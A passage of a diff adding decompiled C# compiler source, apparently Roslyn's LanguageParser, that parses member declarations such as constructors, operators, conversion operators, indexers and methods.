? true : false); + if (flag || (parentKind == SyntaxKind.CompilationUnit && !base.IsScript)) + { + result = AddErrorToLastToken(incompleteMemberSyntax, ErrorCode.ERR_NamespaceUnexpected); + } + else + { + result = AddError(incompleteMemberSyntax, ((GreenNode)incompleteMemberSyntax).FullWidth + ((GreenNode)base.CurrentToken).GetLeadingTriviaWidth(), ((GreenNode)base.CurrentToken).Width, ErrorCode.ERR_InvalidMemberDecl, base.CurrentToken.Text); + } + } + return true; + } + result = null; + return false; + } + + private bool ReconsideredTypeAsAsyncModifier(ref SyntaxListBuilder modifiers, ref TypeSyntax type, ref ResetPoint afterTypeResetPoint, ref ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, ref SyntaxToken identifierOrThisOpt, ref TypeParameterListSyntax typeParameterListOpt) + { + if (type.Kind != SyntaxKind.RefType && identifierOrThisOpt != null) + { + if (typeParameterListOpt == null || !((GreenNode)typeParameterListOpt).ContainsDiagnostics) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.EqualsGreaterThanToken) + { + goto IL_0083; + } + } + if (ReconsiderTypeAsAsyncModifier(ref modifiers, type, identifierOrThisOpt)) + { + Reset(ref afterTypeResetPoint); + explicitInterfaceOpt = null; + identifierOrThisOpt = null; + typeParameterListOpt = null; + Release(ref afterTypeResetPoint); + type = ParseReturnType(); + afterTypeResetPoint = GetResetPoint(); + return true; + } + } + goto IL_0083; + IL_0083: + return false; + } + + private bool TryParseIndexerOrPropertyDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, SyntaxToken identifierOrThisOpt, TypeParameterListSyntax typeParameterListOpt, out MemberDeclarationSyntax result) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if (identifierOrThisOpt.Kind == SyntaxKind.ThisKeyword) + { + result = ParseIndexerDeclaration(attributes, modifiers, type, explicitInterfaceOpt, identifierOrThisOpt, typeParameterListOpt); + return true; + } + if (IsStartOfPropertyBody(base.CurrentToken.Kind) || (base.CurrentToken.Kind == SyntaxKind.SemicolonToken && IsStartOfPropertyBody(PeekToken(1).Kind))) + { + result = ParsePropertyDeclaration(attributes, modifiers, type, explicitInterfaceOpt, identifierOrThisOpt, typeParameterListOpt); + return true; + } + result = null; + return false; + } + + private static bool IsStartOfPropertyBody(SyntaxKind kind) + { + if (kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.EqualsGreaterThanToken) + { + return true; + } + return false; + } + + internal MemberDeclarationSyntax ParseMemberDeclaration(SyntaxKind parentKind) + { + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + MemberDeclarationSyntax result = ParseMemberDeclarationCore(parentKind); + _recursionDepth--; + return result; + } + + private MemberDeclarationSyntax ParseMemberDeclarationCore(SyntaxKind parentKind) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01a2: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_01f3: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = base.cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (IsIncrementalAndFactoryContextMatches && CanReuseMemberDeclaration(base.CurrentNodeKind, isGlobal: false)) + { + return (MemberDeclarationSyntax)(object)EatNode(); + } + SyntaxListBuilder modifiers = _pool.Allocate(); + TerminatorState termState = _termState; + try + { + SyntaxList attributes = ParseAttributeDeclarations(inExpressionContext: false); + ParseModifiers(modifiers, forAccessors: false, forTopLevelStatements: false, out var isPossibleTypeDeclaration); + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.OpenParenToken) + { + return ParseConstructorDeclaration(attributes, modifiers); + } + if (base.CurrentToken.Kind == SyntaxKind.TildeToken) + { + return ParseDestructorDeclaration(attributes, modifiers); + } + if (base.CurrentToken.Kind == SyntaxKind.ConstKeyword) + { + return ParseConstantFieldDeclaration(attributes, modifiers, parentKind); + } + if (base.CurrentToken.Kind == SyntaxKind.EventKeyword) + { + return ParseEventDeclaration(attributes, modifiers, parentKind); + } + if (base.CurrentToken.Kind == SyntaxKind.FixedKeyword) + { + return ParseFixedSizeBufferDeclaration(attributes, modifiers, parentKind); + } + MemberDeclarationSyntax result = TryParseConversionOperatorDeclaration(attributes, modifiers); + if (result != null) + { + return result; + } + if (isPossibleTypeDeclaration && IsTypeDeclarationStart()) + { + return ParseTypeDeclaration(attributes, modifiers); + } + TypeSyntax type = ParseReturnType(); + ResetPoint state = GetResetPoint(); + try + { + if (IsMisplacedModifier(modifiers, attributes, type, out result)) + { + return result; + } + ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt; + SyntaxToken identifierOrThisOpt; + TypeParameterListSyntax typeParameterListOpt; + do + { + if (type.Kind != SyntaxKind.RefType && IsOperatorStart(out explicitInterfaceOpt)) + { + return ParseOperatorDeclaration(attributes, modifiers, type, explicitInterfaceOpt); + } + if (IsFieldDeclaration(isEvent: false, isGlobalScriptLevel: false)) + { + return ParseNormalFieldDeclaration(attributes, modifiers, type, parentKind); + } + ParseMemberName(out explicitInterfaceOpt, out identifierOrThisOpt, out typeParameterListOpt, isEvent: false); + if (IsNoneOrIncompleteMember(parentKind, attributes, modifiers, type, explicitInterfaceOpt, identifierOrThisOpt, typeParameterListOpt, out result)) + { + return result; + } + } + while (ReconsideredTypeAsAsyncModifier(ref modifiers, ref type, ref state, ref explicitInterfaceOpt, ref identifierOrThisOpt, ref typeParameterListOpt)); + if (TryParseIndexerOrPropertyDeclaration(attributes, modifiers, type, explicitInterfaceOpt, identifierOrThisOpt, typeParameterListOpt, out result)) + { + return result; + } + return ParseMethodDeclaration(attributes, modifiers, type, explicitInterfaceOpt, identifierOrThisOpt, typeParameterListOpt); + } + finally + { + Release(ref state); + } + } + finally + { + _pool.Free(modifiers); + _termState = termState; + } + } + + private static bool ReconsiderTypeAsAsyncModifier(ref SyntaxListBuilder modifiers, TypeSyntax type, SyntaxToken identifierOrThisOpt) + { + if (type.Kind != SyntaxKind.IdentifierName) + { + return false; + } + if (identifierOrThisOpt.Kind != SyntaxKind.IdentifierToken) + { + return false; + } + SyntaxToken identifier = ((IdentifierNameSyntax)type).Identifier; + SyntaxKind contextualKind = identifier.ContextualKind; + if (contextualKind != SyntaxKind.AsyncKeyword || modifiers.Any((int)contextualKind)) + { + return false; + } + modifiers.Add((GreenNode)(object)SyntaxParser.ConvertToKeyword(identifier)); + return true; + } + + private bool IsFieldDeclaration(bool isEvent, bool isGlobalScriptLevel) + { + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + return false; + } + if (base.CurrentToken.ContextualKind == SyntaxKind.GlobalKeyword && PeekToken(1).Kind == SyntaxKind.UsingKeyword) + { + return false; + } + SyntaxKind kind = PeekToken(1).Kind; + if (!isGlobalScriptLevel && kind == SyntaxKind.SemicolonToken && IsStartOfPropertyBody(PeekToken(2).Kind)) + { + return false; + } + switch (kind) + { + case SyntaxKind.OpenBraceToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.DotToken: + case SyntaxKind.DotDotToken: + case SyntaxKind.ColonColonToken: + case SyntaxKind.EqualsGreaterThanToken: + return false; + case SyntaxKind.OpenParenToken: + return isEvent; + default: + return true; + } + } + + private bool IsOperatorKeyword() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8382 <= (SyntaxKind)2) + { + return true; + } + return false; + } + + public static bool IsComplete(CSharpSyntaxNode node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (node == null) + { + return false; + } + ChildSyntaxList val = ((GreenNode)node).ChildNodesAndTokens(); + Reversed val2 = ((ChildSyntaxList)(ref val)).Reverse(); + Enumerator enumerator = ((Reversed)(ref val2)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + GreenNode current = ((Enumerator)(ref enumerator)).Current; + if (!(current is SyntaxToken syntaxToken)) + { + return IsComplete((CSharpSyntaxNode)(object)current); + } + if (((GreenNode)syntaxToken).IsMissing) + { + return false; + } + if (syntaxToken.Kind != SyntaxKind.None) + { + return true; + } + } + return true; + } + + private ConstructorDeclarationSyntax ParseConstructorDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = ParseIdentifierToken(); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfMethodSignature; + try + { + ParameterListSyntax parameterList = ParseParenthesizedParameterList(); + ConstructorInitializerSyntax initializer = ((base.CurrentToken.Kind == SyntaxKind.ColonToken) ? ParseConstructorInitializer() : null); + ParseBlockAndExpressionBodiesWithSemicolon(out var blockBody, out var expressionBody, out var semicolon); + return _syntaxFactory.ConstructorDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), identifier, parameterList, initializer, blockBody, expressionBody, semicolon); + } + finally + { + _termState = termState; + } + } + + private ConstructorInitializerSyntax ParseConstructorInitializer() + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken colonToken = EatToken(SyntaxKind.ColonToken); + bool reportError = true; + SyntaxKind kind = ((base.CurrentToken.Kind == SyntaxKind.BaseKeyword) ? SyntaxKind.BaseConstructorInitializer : SyntaxKind.ThisConstructorInitializer); + SyntaxKind kind2 = base.CurrentToken.Kind; + SyntaxToken thisOrBaseKeyword; + if (kind2 - 8370 <= SyntaxKind.List) + { + thisOrBaseKeyword = EatToken(); + } + else + { + thisOrBaseKeyword = EatToken(SyntaxKind.ThisKeyword, ErrorCode.ERR_ThisOrBaseExpected); + reportError = false; + } + ArgumentListSyntax argumentList = ((base.CurrentToken.Kind == SyntaxKind.OpenParenToken) ? ParseParenthesizedArgumentList() : _syntaxFactory.ArgumentList(EatToken(SyntaxKind.OpenParenToken, reportError), default(SeparatedSyntaxList), EatToken(SyntaxKind.CloseParenToken, reportError))); + return _syntaxFactory.ConstructorInitializer(kind, colonToken, thisOrBaseKeyword, argumentList); + } + + private DestructorDeclarationSyntax ParseDestructorDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken tildeToken = EatToken(SyntaxKind.TildeToken); + SyntaxToken identifier = ParseIdentifierToken(); + ParameterListSyntax parameterList = _syntaxFactory.ParameterList(EatToken(SyntaxKind.OpenParenToken), default(SeparatedSyntaxList), EatToken(SyntaxKind.CloseParenToken)); + ParseBlockAndExpressionBodiesWithSemicolon(out var blockBody, out var expressionBody, out var semicolon); + return _syntaxFactory.DestructorDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), tildeToken, identifier, parameterList, blockBody, expressionBody, semicolon); + } + + private void ParseBlockAndExpressionBodiesWithSemicolon(out BlockSyntax blockBody, out ArrowExpressionClauseSyntax expressionBody, out SyntaxToken semicolon, bool parseSemicolonAfterBlock = true) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + blockBody = null; + expressionBody = null; + semicolon = EatToken(SyntaxKind.SemicolonToken); + return; + } + blockBody = ((base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) ? ParseMethodOrAccessorBodyBlock(default(SyntaxList), isAccessorBody: false) : null); + expressionBody = ((base.CurrentToken.Kind == SyntaxKind.EqualsGreaterThanToken) ? ParseArrowExpressionClause() : null); + if (expressionBody != null || blockBody == null) + { + semicolon = EatToken(SyntaxKind.SemicolonToken); + } + else if (parseSemicolonAfterBlock && base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + semicolon = EatTokenWithPrejudice(ErrorCode.ERR_UnexpectedSemicolon); + } + else + { + semicolon = null; + } + } + + private bool IsEndOfTypeParameterList() + { + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + return true; + } + if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + return true; + } + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) + { + return true; + } + if (IsCurrentTokenWhereOfConstraintClause()) + { + return true; + } + return false; + } + + private bool IsEndOfMethodSignature() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private bool IsEndOfRecordOrClassOrStructOrInterfaceSignature() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private bool IsEndOfNameInExplicitInterface() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.DotToken || kind == SyntaxKind.ColonColonToken) + { + return true; + } + return false; + } + + private bool IsEndOfFunctionPointerParameterList(bool errored) + { + return (int)base.CurrentToken.Kind == (errored ? 8201 : 8217); + } + + private bool IsEndOfFunctionPointerCallingConvention() + { + return base.CurrentToken.Kind == SyntaxKind.CloseBracketToken; + } + + private MethodDeclarationSyntax ParseMethodDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, SyntaxToken identifier, TypeParameterListSyntax typeParameterList) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfMethodSignature; + ParameterListSyntax parameterListSyntax = ParseParenthesizedParameterList(); + SyntaxListBuilder val = default(SyntaxListBuilder); + if (base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword) + { + val = _pool.Allocate(); + ParseTypeParameterConstraintClauses(SyntaxListBuilder.op_Implicit(val)); + } + else if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + SyntaxToken currentToken = base.CurrentToken; + ConstructorInitializerSyntax node = ParseConstructorInitializer(); + node = AddErrorToFirstToken(node, ErrorCode.ERR_UnexpectedToken, currentToken.Text); + parameterListSyntax = AddTrailingSkippedSyntax(parameterListSyntax, (GreenNode)(object)node); + } + _termState = termState; + IsInAsync = modifiers.Any(8435); + ParseBlockAndExpressionBodiesWithSemicolon(out var blockBody, out var expressionBody, out var semicolon); + IsInAsync = false; + return _syntaxFactory.MethodDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), type, explicitInterfaceOpt, identifier, typeParameterList, parameterListSyntax, _pool.ToListAndFree(val), blockBody, expressionBody, semicolon); + } + + private TypeSyntax ParseReturnType() + { + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfReturnType; + TypeSyntax result = ParseTypeOrVoid(); + _termState = termState; + return result; + } + + private bool IsEndOfReturnType() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private ConversionOperatorDeclarationSyntax TryParseConversionOperatorDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_0373: Unknown result type (might be due to invalid IL or missing references) + //IL_0375: Unknown result type (might be due to invalid IL or missing references) + //IL_037a: Unknown result type (might be due to invalid IL or missing references) + //IL_02e6: Unknown result type (might be due to invalid IL or missing references) + //IL_02eb: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_01f3: Unknown result type (might be due to invalid IL or missing references) + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_023f: Unknown result type (might be due to invalid IL or missing references) + //IL_0244: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Unknown result type (might be due to invalid IL or missing references) + //IL_0268: Unknown result type (might be due to invalid IL or missing references) + //IL_0303: Unknown result type (might be due to invalid IL or missing references) + //IL_0308: Unknown result type (might be due to invalid IL or missing references) + //IL_031b: Unknown result type (might be due to invalid IL or missing references) + //IL_0320: Unknown result type (might be due to invalid IL or missing references) + ResetPoint state = GetResetPoint(); + try + { + bool flag = false; + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2; + if (kind - 8383 > SyntaxKind.List) + { + SyntaxKind syntaxKind = SyntaxKind.None; + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + while (base.CurrentToken.Kind != SyntaxKind.OperatorKeyword) + { + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + int lastTokenPosition = -1; + IsMakingProgress(ref lastTokenPosition); + ScanNamedTypePart(); + if (IsDotOrColonColonOrDotDot() || (IsMakingProgress(ref lastTokenPosition, assertIfFalse: false) && base.CurrentToken.Kind != SyntaxKind.OpenParenToken)) + { + flag = true; + if (IsDotOrColonColonOrDotDot()) + { + syntaxKind = base.CurrentToken.Kind; + EatToken(); + } + else + { + syntaxKind = SyntaxKind.None; + } + continue; + } + disposableResetPoint.Reset(); + } + break; + } + } + flag2 = base.CurrentToken.Kind != SyntaxKind.OperatorKeyword; + if (!flag2) + { + bool flag3 = flag; + if (flag3) + { + bool flag4 = ((syntaxKind == SyntaxKind.DotToken || syntaxKind == SyntaxKind.DotDotToken) ? true : false); + flag3 = !flag4; + } + flag2 = flag3; + } + bool flag5; + if (flag2) + { + flag5 = false; + } + else + { + kind = PeekToken(1).Kind; + flag2 = kind - 8379 <= SyntaxKind.List; + flag5 = ((!flag2) ? (!SyntaxFacts.IsAnyOverloadableOperator(PeekToken(1).Kind)) : (!SyntaxFacts.IsAnyOverloadableOperator(PeekToken(2).Kind))); + } + Reset(ref state); + if (!flag5) + { + return null; + } + } + kind = base.CurrentToken.Kind; + flag2 = kind - 8383 <= SyntaxKind.List; + SyntaxToken syntaxToken = (flag2 ? EatToken() : EatToken(SyntaxKind.ExplicitKeyword)); + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax = tryParseExplicitInterfaceSpecifier(); + SyntaxToken operatorKeyword; + TypeSyntax type; + if (!((GreenNode)syntaxToken).IsMissing && explicitInterfaceSpecifierSyntax != null && base.CurrentToken.Kind != SyntaxKind.OperatorKeyword && syntaxToken.TrailingTrivia.Any(8539)) + { + Reset(ref state); + syntaxToken = EatToken(); + explicitInterfaceSpecifierSyntax = null; + operatorKeyword = EatToken(SyntaxKind.OperatorKeyword); + type = AddError(CreateMissingIdentifierName(), ErrorCode.ERR_IdentifierExpected); + return _syntaxFactory.ConversionOperatorDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), syntaxToken, explicitInterfaceSpecifierSyntax, operatorKeyword, null, type, _syntaxFactory.ParameterList(SyntaxFactory.MissingToken(SyntaxKind.OpenParenToken), default(SeparatedSyntaxList), SyntaxFactory.MissingToken(SyntaxKind.CloseParenToken)), null, null, SyntaxFactory.MissingToken(SyntaxKind.SemicolonToken)); + } + operatorKeyword = EatToken(SyntaxKind.OperatorKeyword); + SyntaxToken checkedKeyword = TryEatCheckedOrHandleUnchecked(ref operatorKeyword); + Release(ref state); + state = GetResetPoint(); + bool num = base.CurrentToken.Kind == SyntaxKind.OpenParenToken; + type = ParseType(); + if (num && type is TupleTypeSyntax tupleTypeSyntax) + { + SeparatedSyntaxList elements = tupleTypeSyntax.Elements; + if (elements.Count == 2 && elements.SeparatorCount == 1 && tupleTypeSyntax.Elements.GetSeparator(0).IsMissing && ((GreenNode)tupleTypeSyntax.Elements[1]).IsMissing && base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + Reset(ref state); + type = ParseIdentifierName(); + } + } + ParameterListSyntax parameterList = ParseParenthesizedParameterList(); + ParseBlockAndExpressionBodiesWithSemicolon(out var blockBody, out var expressionBody, out var semicolon); + return _syntaxFactory.ConversionOperatorDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), syntaxToken, explicitInterfaceSpecifierSyntax, operatorKeyword, checkedKeyword, type, parameterList, blockBody, expressionBody, semicolon); + } + finally + { + Release(ref state); + } + ExplicitInterfaceSpecifierSyntax tryParseExplicitInterfaceSpecifier() + { + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + return null; + } + NameSyntax explicitInterfaceName = null; + SyntaxToken separator = null; + while (true) + { + bool flag6; + using (GetDisposableResetPoint(resetOnDispose: true)) + { + if (base.CurrentToken.Kind == SyntaxKind.OperatorKeyword) + { + flag6 = false; + } + else + { + int lastTokenPosition2 = -1; + IsMakingProgress(ref lastTokenPosition2); + ScanNamedTypePart(); + flag6 = IsDotOrColonColonOrDotDot() || (IsMakingProgress(ref lastTokenPosition2, assertIfFalse: false) && base.CurrentToken.Kind != SyntaxKind.OpenParenToken); + } + } + if (!flag6) + { + break; + } + AccumulateExplicitInterfaceName(ref explicitInterfaceName, ref separator); + } + if (separator != null && separator.Kind == SyntaxKind.ColonColonToken) + { + separator = AddError(separator, ErrorCode.ERR_AliasQualAsExpression); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + if (explicitInterfaceName == null) + { + return null; + } + if (separator.Kind != SyntaxKind.DotToken) + { + separator = WithAdditionalDiagnostics(separator, GetExpectedTokenError(SyntaxKind.DotToken, separator.Kind, ((GreenNode)separator).GetLeadingTriviaWidth(), ((GreenNode)separator).Width)); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + return _syntaxFactory.ExplicitInterfaceSpecifier(explicitInterfaceName, separator); + } + } + + private SyntaxToken TryEatCheckedOrHandleUnchecked(ref SyntaxToken operatorKeyword) + { + if (base.CurrentToken.Kind == SyntaxKind.UncheckedKeyword) + { + SyntaxToken skippedSyntax = AddError(EatToken(), ErrorCode.ERR_MisplacedUnchecked); + operatorKeyword = AddTrailingSkippedSyntax(operatorKeyword, (GreenNode)(object)skippedSyntax); + return null; + } + return TryEatToken(SyntaxKind.CheckedKeyword); + } + + private OperatorDeclarationSyntax ParseOperatorDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt) + { + //IL_019c: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_02f2: Unknown result type (might be due to invalid IL or missing references) + //IL_02f4: Unknown result type (might be due to invalid IL or missing references) + //IL_02f9: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken operatorKeyword = EatToken(SyntaxKind.OperatorKeyword); + SyntaxToken checkedKeyword = TryEatCheckedOrHandleUnchecked(ref operatorKeyword); + SyntaxToken syntaxToken; + int offset; + int width; + if (SyntaxFacts.IsAnyOverloadableOperator(base.CurrentToken.Kind)) + { + syntaxToken = EatToken(); + offset = ((GreenNode)syntaxToken).GetLeadingTriviaWidth(); + width = ((GreenNode)syntaxToken).Width; + } + else + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8383 <= SyntaxKind.List) + { + GetDiagnosticSpanForMissingToken(out offset, out width); + syntaxToken = ConvertToMissingWithTrailingTrivia(EatToken(), SyntaxKind.PlusToken); + if (((GreenNode)type).IsMissing) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo = SyntaxParser.MakeError(offset, width, ErrorCode.ERR_BadOperatorSyntax, SyntaxFacts.GetText(SyntaxKind.PlusToken)); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo); + } + else + { + type = AddError(type, ErrorCode.ERR_BadOperatorSyntax, SyntaxFacts.GetText(SyntaxKind.PlusToken)); + } + } + else + { + syntaxToken = EatToken(); + offset = ((GreenNode)syntaxToken).GetLeadingTriviaWidth(); + width = ((GreenNode)syntaxToken).Width; + } + } + SyntaxKind kind2 = syntaxToken.Kind; + SyntaxToken currentToken = base.CurrentToken; + if (syntaxToken.Kind == SyntaxKind.GreaterThanToken && currentToken.Kind == SyntaxKind.GreaterThanToken && NoTriviaBetween(syntaxToken, currentToken)) + { + SyntaxToken syntaxToken2 = EatToken(); + currentToken = base.CurrentToken; + if (currentToken.Kind == SyntaxKind.GreaterThanToken && NoTriviaBetween(syntaxToken2, currentToken)) + { + syntaxToken2 = EatToken(); + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanGreaterThanGreaterThanToken, syntaxToken2.GetTrailingTrivia()); + } + else + { + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), SyntaxKind.GreaterThanGreaterThanToken, syntaxToken2.GetTrailingTrivia()); + } + } + ParameterListSyntax parameterListSyntax = ParseParenthesizedParameterList(); + switch (parameterListSyntax.Parameters.Count) + { + case 1: + if (((GreenNode)syntaxToken).IsMissing || !SyntaxFacts.IsOverloadableUnaryOperator(kind2)) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo4 = SyntaxParser.MakeError(offset, width, ErrorCode.ERR_OvlUnaryOperatorExpected); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo4); + } + break; + case 2: + if (((GreenNode)syntaxToken).IsMissing || !SyntaxFacts.IsOverloadableBinaryOperator(kind2)) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo3 = SyntaxParser.MakeError(offset, width, ErrorCode.ERR_OvlBinaryOperatorExpected); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo3); + } + break; + default: + if (((GreenNode)syntaxToken).IsMissing) + { + SyntaxDiagnosticInfo syntaxDiagnosticInfo2 = SyntaxParser.MakeError(offset, width, ErrorCode.ERR_OvlOperatorExpected); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, syntaxDiagnosticInfo2); + } + else + { + syntaxToken = ((!SyntaxFacts.IsOverloadableBinaryOperator(kind2)) ? ((!SyntaxFacts.IsOverloadableUnaryOperator(kind2)) ? AddError(syntaxToken, ErrorCode.ERR_OvlOperatorExpected) : AddError(syntaxToken, ErrorCode.ERR_BadUnOpArgs, SyntaxFacts.GetText(kind2))) : AddError(syntaxToken, ErrorCode.ERR_BadBinOpArgs, SyntaxFacts.GetText(kind2))); + } + break; + } + ParseBlockAndExpressionBodiesWithSemicolon(out var blockBody, out var expressionBody, out var semicolon); + if (kind2 != SyntaxKind.IsKeyword && !SyntaxFacts.IsOverloadableUnaryOperator(kind2) && !SyntaxFacts.IsOverloadableBinaryOperator(kind2)) + { + syntaxToken = ConvertToMissingWithTrailingTrivia(syntaxToken, SyntaxKind.PlusToken); + } + return _syntaxFactory.OperatorDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), type, explicitInterfaceOpt, operatorKeyword, checkedKeyword, syntaxToken, parameterListSyntax, blockBody, expressionBody, semicolon); + } + + private IndexerDeclarationSyntax ParseIndexerDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, SyntaxToken thisKeyword, TypeParameterListSyntax typeParameterList) + { + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + if (typeParameterList != null) + { + thisKeyword = AddTrailingSkippedSyntax(thisKeyword, (GreenNode)(object)typeParameterList); + thisKeyword = AddError(thisKeyword, ErrorCode.ERR_UnexpectedGenericName); + } + BracketedParameterListSyntax parameterList = ParseBracketedParameterList(); + AccessorListSyntax accessorList = null; + ArrowExpressionClauseSyntax expressionBody = null; + SyntaxToken syntaxToken = null; + if (base.CurrentToken.Kind == SyntaxKind.EqualsGreaterThanToken) + { + expressionBody = ParseArrowExpressionClause(); + syntaxToken = EatToken(SyntaxKind.SemicolonToken); + } + else + { + accessorList = ParseAccessorList(isEvent: false); + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + syntaxToken = EatTokenWithPrejudice(ErrorCode.ERR_UnexpectedSemicolon); + } + } + if (base.CurrentToken.Kind == SyntaxKind.EqualsGreaterThanToken && syntaxToken == null) + { + expressionBody = 